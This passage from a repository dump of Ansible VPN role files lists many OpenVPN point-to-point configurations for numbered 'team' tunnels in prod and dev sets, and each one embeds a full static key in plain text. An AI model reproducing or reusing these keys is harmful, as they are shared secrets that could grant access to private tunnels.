5 | ifconfig 10.82.9.1 10.82.9.2
6 | route 10.62.9.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 937a1332eca05d8e6074c2640659f44f
23 | 3b6d9907dfc5482a1d140e5b67377c1d
24 | b9871610ff98292fcc92b5f66fcab569
25 | d2f2f76affa3af64f967a32d59a938fa
26 | f510b5a42a64764764c728102e2b4584
27 | 6e894124fa2083a5c8c33f45f161df59
28 | 9cdd7c71d8bd03f055467f1903de144a
29 | 397ee7f3cfc552e52b26b9b8f97319e7
30 | 465b83810e5b89b2ecdfc289b0eafcb6
31 | ad727f4f8eaa87e72183e26feb11accf
32 | ffeeb9f9eecc5175f190f6e60bd5af49
33 | 6efe4e243b31aefdf9e45c78e860c424
34 | 6b488fa14166c0c018ba5110bbe5318b
35 | a16227bdf660dcaacbd04566d2283def
36 | 86e1d156245daffd278ae9b2f9084f8e
37 | 7a56e65847f15515f94fe92507b3bbef
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/6.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30006
3 | dev team6
4 | dev-type tun
5 | ifconfig 10.80.6.1 10.80.6.2
6 | route 10.60.6.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 0a548e52ec3fb2229b633a773fab1bc1
23 | e3f93f88e174ef495104e43948fe6e61
24 | 00250d325870939d72d9d2956135247d
25 | 842172894498d5c9ef8f20ba34cf1908
26 | e4ebcfddfe67c9c12b62b27122385623
27 | 3ad406e62f3cddd6b0f848a3eb489570
28 | eb3cadc5a7ed4f04758c6783b934381a
29 | 94ceb2407470f87f628a871fd22ea65f
30 | 28e9348aff9906ce52bdb50cb4122e4c
31 | 13bb6f35176ea0edbfc1ca0f579cdc2f
32 | d3346a8ad143bda42fc1195040c277d0
33 | af6db3fa9e5710d19fb4a237fc82f1a6
34 | cf83b5a2ab054c46e112b88c5b4e0deb
35 | c89016106986db6fed75b7be754c2fa2
36 | 7e6d2594a8eb8846decdd8e32138cdb4
37 | 00d0ebd84afa4880b2830a7cf3b87ad2
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/7.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30007
3 | dev team7
4 | dev-type tun
5 | ifconfig 10.80.7.1 10.80.7.2
6 | route 10.60.7.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 03907a34e19d0d393d435564e98740d3
23 | 847723c0ba90148fddcf2b968276e0a3
24 | 305c67477b0efef2461a051b0a772fa8
25 | 9b5b85f3247fa4eac69e98a87bcf8b51
26 | 8f07a55f61476c69a62af0d62880264c
27 | 93cf5b25bfd69511a101ff774651932d
28 | 6b537c47e72e98cc68ec100cd7d6cc15
29 | 1fb2221d2affd14ac8406c50905c799e
30 | 4917c9b84beeda1056120190aff7a31a
31 | 6332c4f795f313b0affcc2420fbb7d43
32 | 58a2ff317b460a3f2e06d96099a78d51
33 | b889a9e9c4b0d7eaf00ac6491dcbf79d
34 | 53749882bc1de0fc3ab2f19d7d28dc34
35 | 74ddc99f17cba9705ee3f986b182e84e
36 | 546bfc18988c5e353f52e05ea1a60287
37 | 098e717d449d171a53ec614f0c5f265d
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/8.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30008
3 | dev team8
4 | dev-type tun
5 | ifconfig 10.80.8.1 10.80.8.2
6 | route 10.60.8.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | c381d3777d14a6113c8017637629a0cf
23 | b1dced4952897435b794279fbce41d63
24 | 9adcd56977c936421f3b2dbad761e915
25 | 3470c5542c2129fb7d78cd2a74f8d955
26 | c1c87b643905f153cb627d670049d70e
27 | acb53fd62c1899fc3851be1d34aa4c8f
28 | a5b448e5ecc4e44b93783f256fa7a3df
29 | 85866bc83146931fcbf1e8d797231d69
30 | 4cf5ed29b7b241967a34c4e4dbdc8453
31 | 171ae43aa8dbe9efd06d82572d6edf78
32 | b2ce00a4e53dcd1961dc91620ca7652e
33 | 225fe027ac9239ead6397785ceeef8cd
34 | dfc7c0b66952895b78511f057089924b
35 | 5c0ec5adf9f3a44913790b2c3f2efc41
36 | 4843e22497badcb57f3dfa939f11de67
37 | aad40b026c98cea6282f26eb85b596c7
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_prod/9.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30009
3 | dev team9
4 | dev-type tun
5 | ifconfig 10.80.9.1 10.80.9.2
6 | route 10.60.9.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 | tun-mtu 1500
14 | fragment 1300
15 | mssfix
16 |
17 |
18 | #
19 | # 2048 bit OpenVPN static key
20 | #
21 | -----BEGIN OpenVPN Static key V1-----
22 | 52ebd004dd7a446742f594ec714bc3d7
23 | 9d70f3fed228f67d9b0444cc4a50bf34
24 | bfd81042c556f18d37f696a3b58aa0e7
25 | 8fed80e041b8355b8e97b334e27419bf
26 | f90b213083b4a250bfedcd839e0674e8
27 | 18ff87d3aedb919cba5232d0302483fe
28 | 3267a969cf27b02556116207923c59ef
29 | e224885a2944a4d415026fa92f89c713
30 | a97ac482211e5243b115a8f7cb6a6b49
31 | b4aadc5ed34a23692841b460e311766d
32 | 56d3ecc2785148c766677b67872d534c
33 | 691e1fac9f3f63c80a73a10da94f1f38
34 | e996cdad18687bbfdd9556ce30e83f87
35 | 6d2f7a288b8a192df9747b6e24bd4979
36 | f316f94bc8371fbd4c107dbf0e3d911a
37 | fc4c8fde213e403db43a75a20c741646
38 | -----END OpenVPN Static key V1-----
39 |
40 |
41 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/0.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30000
3 | dev team0
4 | dev-type tun
5 | ifconfig 10.80.0.1 10.80.0.2
6 | route 10.60.0.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | b39655ab70c5d70973b5f6814dd10d7e
24 | 2e740e9e893e0b5273a5caebd69cefde
25 | ccdbf30d18c9bab2301aaeb10cf10186
26 | 542fd12d4d442d415d9c708b3de49cef
27 | 38de8816088a98ebba7818524938d495
28 | c760eebfd54ee3a5d5df1ed148842e90
29 | ec0e1cbd42d3a6c8b79bf649cdd8a8e7
30 | 9eadb3e313f7f2d268671f9fea348c40
31 | bb0b8d5e99b0efd269521e917b00eb54
32 | a996f8500bcca5ccc8876e5d9e27aa2d
33 | 53ba6a98cc6889d76a1179e7ff6c81c8
34 | dedbc6a7350496a12749cc73c88d417a
35 | 1ef228caffa0b7107036460684762cba
36 | 9fa6b5bb338557a3d78c6ec92473da77
37 | b233d9e31ec7465a52dce987067c6c38
38 | bcf8ec28ad68ceb9dbaf94331c19355c
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/1.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30001
3 | dev team1
4 | dev-type tun
5 | ifconfig 10.80.1.1 10.80.1.2
6 | route 10.60.1.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | c7ba74e85ca2fa11b20bbc3bae71b5ea
24 | b2c5b4e3b14ca809b482c11067c9251e
25 | 14f3cfc735881cf151515ed362fc449e
26 | cb191e76d1c7f995308bd2c32bdb7d14
27 | bad80a02c2e09550b9e0f87d7c85bd22
28 | baf791d1e1193d16b0bf7770032499b8
29 | 34c5823097aa7b55535885992b483368
30 | 0ac61009425622f804021560b478afd3
31 | 5c86378abc74cc9e35fb33fe59e73b8e
32 | 223acd58414aa68ccfac65b828b6867e
33 | 9ac9245b895918a9b328a1c79aa432e6
34 | 2509f2569d4234408e6c46dcc7199fe9
35 | 914640df974c737a135a3a92116f0993
36 | 9949290669a5106e0e56e44b944bc3e3
37 | 1dae9acd05ee14781730260b99edc1ce
38 | b4931897a599c7170f7935bd21578c6a
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/2.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30002
3 | dev team2
4 | dev-type tun
5 | ifconfig 10.80.2.1 10.80.2.2
6 | route 10.60.2.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 9324e971c78e92846b43a5df6230d378
24 | 26a1351fd50dfab76edb117b5c688ca7
25 | 67873cbb2c476f4772f44752a3c1e79a
26 | cdb19328cffee9dc32420d654ede7455
27 | c5d15f7aa2eafcf77f0f635347f0824d
28 | d426892340a77f644f9f63ad0670670d
29 | e696e6d7f7106b45ef05e3906203fee9
30 | 0b565febd9234833f31d340b5037a03a
31 | 10d760c0a84b1fce462b75ee6ea20a32
32 | 00dbcffb2e26901513662d563b056759
33 | f3585a2e4984a9009017c8ecc7c78c9f
34 | 96bac7b7353f75315e90c63e6352a5e5
35 | 70eb9202bad929d36647fb892e088935
36 | 0d438cdb30d28fd3151df870d4e9034c
37 | bcb20fe023b4ab5669c4398a28518621
38 | a8c76f0777e42d9fe25d42c981303644
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/256.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30256
3 | dev team256
4 | dev-type tun
5 | ifconfig 10.81.0.1 10.81.0.2
6 | route 10.61.0.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 0408b2f180d25d698f59f4c75d6c70bd
24 | 18bcf99d680f4e601be4c20cd91d789b
25 | db2f356d775d6e196de7776c2122bfae
26 | aceb517d4fee3be78c33e0d6d2cdd736
27 | 20c226cdaed10583476cced9b194ffda
28 | fc79de74615a8bd33d96f499c1988629
29 | 74487659f8ceef8e87a0b1b751608b5b
30 | a634f3892776dabc6085d5d0f072a022
31 | 7340117b0d8ef128f9c6ec53a703023d
32 | dc059c5b5b475c1e0463a8d80370a905
33 | 99e673288433194f37ecca21cae8801a
34 | 1d3d27c9ef76de2d5b0a9429dc74e4e3
35 | c91d93977735a2e295a6b3a563f65a0d
36 | 1553be3ba6cdb066a5492d3580c77f6d
37 | dd16f106a4d79d843dd3637fb78a3d8d
38 | 0f0b808c465e36a01b7466920b7cf389
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/257.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30257
3 | dev team257
4 | dev-type tun
5 | ifconfig 10.81.1.1 10.81.1.2
6 | route 10.61.1.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 963fbc5f945c5a33192e3322bb5c4ed1
24 | a5475a68de4d98bcf2e752cd2bc78b60
25 | e431ed7d92cda2911e1c1ee11acb7fa5
26 | 52df650d3e191e47df78f49136738518
27 | 2d308ae0100a9bb9c5700b59dcecbcc8
28 | 266176b33be622523f722931a62c15bd
29 | 001977c1bc85cfcec2e54b0a229eca3a
30 | 6646de75edbb5098bafd597c6abc2e25
31 | 40a3bc0127ea44590ad8a355b1b1bff5
32 | ac01368764f097e048233ce3d4156c6e
33 | 65b6a9b0babf332566e8c2db909439fd
34 | 4332cc115627589f9f0e535109e2a73e
35 | c190fb4a20da9a69965ce1498b851c1e
36 | 12292b08ebefb8696d118a93a7581d7b
37 | bd8d306e8da29e1d7b8c2d3ad4712385
38 | f2af42a813132012f3f8b5450233bfa5
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/258.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30258
3 | dev team258
4 | dev-type tun
5 | ifconfig 10.81.2.1 10.81.2.2
6 | route 10.61.2.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 97f73a3a0c4649cd56b3d2d941659c36
24 | c699f5e30d9a8ce8f8a913265ac93804
25 | a8a7432c7d2aae62b89c17dc89b0199f
26 | 71a63dbe701066104b07287540d29f7c
27 | 5fb2374f4730cf9c219d41c7518788a6
28 | 7ddf3311d99d396ada1ec0cb424e941b
29 | 964319f45805597efc909d00795f5178
30 | 6d36146d271665ce05553a07775f7cf1
31 | 4915e05f7730cadbd47bed4d4fa2b77e
32 | eee427fe4b2ca3139ecee18cd0f1ed84
33 | a6a2da5a1483907fcbbf0cd7c8aa4de9
34 | 524668d8b646377cec54a5447879f5e0
35 | a3962756fb905859e94ba069bc4b6ae5
36 | 0054e6121e2a2e6c0a394e5146bf99c0
37 | 0f867b07eac272a52d9ea03ed116a58e
38 | a813b598a2c70039c2e39aaf036ea928
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/259.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30259
3 | dev team259
4 | dev-type tun
5 | ifconfig 10.81.3.1 10.81.3.2
6 | route 10.61.3.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | b21a0dfc76e4a1b361312e48bdabb479
24 | cd8337a5a1eaa4d100a41cb9275a43d1
25 | 3e250f99599a1bb912bf12ace9885808
26 | 467f38664af865182a26fbf0b822bc2e
27 | 4bd40724c735b4622bd8981da534ad1b
28 | e1453b7ec552f74a982a5c99ee4e1618
29 | c2b5328862aacee2d5d7bc56c4347b70
30 | 4ef74bdca671bde5e55ca8f105c143b1
31 | 55e7a3d3e1e8d5e8a2d9b71d63b58bf1
32 | dea71427aa1e7c2799746e09ce1690d2
33 | 50299d25fd9404d3039097f11ae2f32e
34 | 9ea0e8e3ffeeaf56de279b4dce2f9758
35 | 5be587644e51a3bcdd36749808d0d314
36 | 49580b6fc0380c6a104bbf082ea137b4
37 | a922d1962d1279678e102329b570b962
38 | c360c3851c54a81740c9e0f6096a9e82
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/260.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30260
3 | dev team260
4 | dev-type tun
5 | ifconfig 10.81.4.1 10.81.4.2
6 | route 10.61.4.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | bf5833124fefdf89c748eff1f6474e7c
24 | 845586f0d992a9d8845b33af5a166454
25 | cc7c0e945c0384e9a2ac53fd414e7273
26 | 0ad58a15e3da150b1bf1262273b19234
27 | c7700cada89d1995005f79c4a9c33493
28 | 902a137ea07e19e7273f889905bac9d2
29 | 98eb8d1a58345058cee1e6052a907004
30 | 803c47a877bb5357b3e6b348807667f2
31 | 8babb91ea200471662c648899f444a8f
32 | 922949e2803d98aa21c0ce69e9112429
33 | 9729c55ba24163d1950abfeeb3ab632d
34 | 88de43764b8d2f8154ebb6d788c34bb5
35 | 1f96c6bfd3d2a6e7ed0df52bfcd43e23
36 | 3fc61359b9102d07c003fe9b53205426
37 | 7e674537df09a367be7f685d8598a9c3
38 | ab1067e4b069ceb13aaadf88630b8481
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/261.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30261
3 | dev team261
4 | dev-type tun
5 | ifconfig 10.81.5.1 10.81.5.2
6 | route 10.61.5.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 0c335e2eddc72c73edcad6778c1a7a6c
24 | d147d9c5502d302a0ed4e5f46b4ade7f
25 | a3fc0822d231c0a4dd30e4b9d5cc7699
26 | e3902eed56e713d482fc41ae719d5e58
27 | 231be3e66e96982597ead200c9bdfa10
28 | fe01b47fba9128032e8f3b757d7e0d69
29 | 166efffeed235a94a399cab0e9366c1d
30 | d39a70c3038baef5f1e538309b39c772
31 | 11a9d776026ec84816e2ea9f3694a10d
32 | e9bdb1aec9004c57c55940cd3955691c
33 | 3c18e6613fba523009217c89b82a62de
34 | 137445b53d4f0dcd7d43365dd1207239
35 | 391d87436aaa52f9b174706e6858d8ec
36 | 0cc7b915ec8a8cb91e0acdc1df1f508a
37 | e6bc4e7b12b350245c6749f0a2ce4cee
38 | eb9d1cdd8aed393654e7231c957c8b10
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/262.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30262
3 | dev team262
4 | dev-type tun
5 | ifconfig 10.81.6.1 10.81.6.2
6 | route 10.61.6.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 5e5b656a2e6efe3ffa00658be38e7289
24 | 600e6e5f9af5a4836c0a1d10a13fa0f1
25 | 1dfcce6a6e2577ea52a25033d8af22fb
26 | c8c3d73f8b5d7517d7d6c9079ec77875
27 | d6280ad46c52e2d823e2b3a95ca8114d
28 | a7329eaaa6509321044d41b038f18a53
29 | 912d9837c1df94e0cba3f9c93e242886
30 | 660f3bf90f5ce20fa2a8bfd219f762be
31 | 31ebcbedbacaa4c28f124f0fa7db615c
32 | ad56b3b58d7e29a15c0a4e9bd1ea5588
33 | c76dd38595ca087353e7dbf709ff93ad
34 | 3d247ed2c6cb0738765ce92a52bf3e0b
35 | 9f9463b760466873d478dda319ecbc68
36 | c1056f8301eb5d82beed62704a4a5d64
37 | 3ed22b2d0a29fbcc4628b133c66570ec
38 | 3a7fca2ac08b6ccdda8f0a8b6a2a2959
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/263.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30263
3 | dev team263
4 | dev-type tun
5 | ifconfig 10.81.7.1 10.81.7.2
6 | route 10.61.7.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 56a3eb6bd1e27f858c17084d26b9a42a
24 | 318d810000912cd9ec5dc4657f5d90d0
25 | 8898017d0ce410973239280697bb5e91
26 | 3e76d3592e2f4853665974c221eef0d9
27 | 7aa122f31f9f5fee243df05e9eaf204e
28 | 403828542428bddd9144498557500fd8
29 | 50f2127a748ba3d385a8da2f311b54f8
30 | 6bf371d3a4342aa8405aa78371674ca4
31 | af7fc87cbd23ce6ffd3ef173068bc301
32 | b36e2eced8044010890f16940c6c8051
33 | ab76413c35cfaeb3df7dc314f83c2a39
34 | 4d0f4295344cd08abdec526170ce18c9
35 | b93806141b94adde3d23a90ac30a7038
36 | 7892da4f8eab01b01516dfd1f2f21dea
37 | 7fd539be2ab27799e7d2e178c5b9aab8
38 | 5155aa46c3a14181e6614b37e1ecb6e1
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/264.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30264
3 | dev team264
4 | dev-type tun
5 | ifconfig 10.81.8.1 10.81.8.2
6 | route 10.61.8.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | 70c18ecf8eeaac40ab7f338e91cbb8b0
24 | 5d613e7892865fe2c5eb71c7795d7803
25 | 523fb06f8e0741883f8c49a0cc1a22e7
26 | 4ed3220e51f1b0b3177289380363236c
27 | 87fc598ba118cdf59d991f67e1f4d905
28 | ebfb5bcfe0466b7b2242aeac012ce674
29 | 3b7fb617853c94a1d91dfc48efc90042
30 | 5382de8eae39fbfd196a7899dfd6a45b
31 | fb61a9b30da9a1981880f9446cf1014e
32 | d253375a3b9ceb54d7bae75f4d389f32
33 | 591966f77f8565244819c6d5eaf83ea0
34 | fa084b9534aeb2e10eedd27ed60db2e5
35 | 04a7c9fb431e307da6ae63dd46b563fd
36 | 4f16f1faba9aec1b2a3c130a6c31fac5
37 | 52feef6273778d6b6ed893595977ad1f
38 | 8f8cd53bf6af3c47c7e9550dddd62821
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/265.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30265
3 | dev team265
4 | dev-type tun
5 | ifconfig 10.81.9.1 10.81.9.2
6 | route 10.61.9.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | ac0b8089ea45904ae4c1a81c571d7b7e
24 | 08c42f188cd83412edf0dad9581bb3be
25 | a2963488023298a92216697fd07b1560
26 | 69e532dd8f64ca57701283e3eedcec52
27 | 7d0f6b86af8bcb1c5616d30b79ffbd96
28 | dd6c568125564ea466b58df95f82d823
29 | 4e39bf1deb84106826440bc0224c22fe
30 | f3533b182fe8224afcf1a80158d191b2
31 | 1df37644f12fca1174e0fbc989a45a8d
32 | 6dd988e97b84e70ce15f0325c4943e5b
33 | 8a6f15ef0bc6f93ea24480a5bcce6d06
34 | f52837d42ea697aff21e50491e27d981
35 | eba4addfa6314abd6df4e868de3a75c2
36 | 074416af59ac6e65d80def6365b8ee01
37 | 247c77eef4512764d3fcb85e40a54b63
38 | 275d70fb58d09169bcaf8ddd7a157b96
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/3.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30003
3 | dev team3
4 | dev-type tun
5 | ifconfig 10.80.3.1 10.80.3.2
6 | route 10.60.3.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | aa737a4fe28dcc67cd8200eef2888f52
24 | f001555f560dbe0e324ed594f9be08e3
25 | e2a001f749a411f081849c632a324909
26 | 7e7fb525443da2f72fa3431e66345cd1
27 | e6a2adcd208e6b7d212b0a9da1dcb469
28 | 61d6621739622c23f171b24970c84eb8
29 | 776b5da77ce4cc2f4e2f95990e0ebf28
30 | 0f82f82bd3e6f4a00563050c93c7f986
31 | 091be7b4537641a1c838b6a446419c23
32 | 754ec323c32c9972dba9bf8ac4f1b60f
33 | f19255c6cfd58455804dde3b7ebe10b3
34 | 4fed29665897a5419e0a0811f63eddc5
35 | 58b2a72fdcf8611c3d0eefe454fba089
36 | d7e3e0cc0a471e347682b6ca93635874
37 | 83ee99466c2cb0d80f139bc2c9ea618a
38 | aac89ae776c42b218d5a96df535061df
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/4.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30004
3 | dev team4
4 | dev-type tun
5 | ifconfig 10.80.4.1 10.80.4.2
6 | route 10.60.4.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | a6fe66faf48c3512161702d942d4bc72
24 | 721f1bb86df81b6ea8477d5c4d684ad2
25 | efac1812162a15c14a4be5978265d663
26 | c4999eed4a9cd02b8b04db92c9e09b07
27 | 14c2795f86bf71edfae36d7f78546cc4
28 | f63104b7084707dd97e9e44fcda4d3be
29 | 00219c9f46e8dde4b0df92f688708b21
30 | af944d9a5d950ac33a5479e56ad3b7f7
31 | 8e73bd726f9268feba7c3c3f6e1c7c62
32 | 543e33cdaac133fde4db32392c7064f8
33 | 09dc2ee2bddfd99c426a7c7553162e43
34 | b0a6ddfa06937b2c242c7e5ed34ae7be
35 | d939062561ad21cf981b6636a32734a8
36 | ee2b1d97ee8dd0b35e1864a0379ab9b3
37 | cd813e2b96b4ba03e0874b66e28bd28e
38 | f4e96652ef59e1da82a2ecdab6f75c37
39 | -----END OpenVPN Static key V1-----
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/openvpn_dev/5.conf:
--------------------------------------------------------------------------------
1 | mode p2p
2 | port 30005
3 | dev team5
4 | dev-type tun
5 | ifconfig 10.80.5.1 10.80.5.2
6 | route 10.60.5.0 255.255.255.0
7 | keepalive 10 60
8 | ping-timer-rem
9 | persist-tun
10 | persist-key
11 |
12 | txqueuelen 1000
13 |
14 | tun-mtu 1500
15 | fragment 1300
16 | mssfix
17 |
18 |
19 | #
20 | # 2048 bit OpenVPN static key
21 | #
22 | -----BEGIN OpenVPN Static key V1-----
23 | c0bbceaf3bb380393d00802d28c61b0e
24 | 4a0b8c152a2fd9cc22c0fff1e047fcd5
25 | ac18ebf370aaa1ef623d436edbf6b91a
26 | 10c931d7f85f7501fbb5c7b42c0aff02
